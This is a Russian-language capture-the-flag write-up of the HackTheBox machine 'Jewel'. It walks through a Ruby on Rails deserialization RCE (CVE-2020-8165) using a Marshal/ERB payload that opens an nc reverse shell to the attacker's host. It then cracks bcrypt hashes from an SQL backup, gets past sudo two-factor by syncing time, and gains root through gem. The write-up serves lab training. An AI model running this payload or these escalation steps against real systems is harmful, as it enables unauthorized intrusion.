HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem +8


Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс (Reverse Engineering);

  • стеганография (Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Я это делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemfile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

 И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3
apt install sqlite3 libsqlite3-dev
bundle install --path vendor/bundle
bundle exec rails db:migrate
bundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts "Payload"
require 'uri'
puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'
 hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берём рута.




К сожалению, не доступен сервер mySQL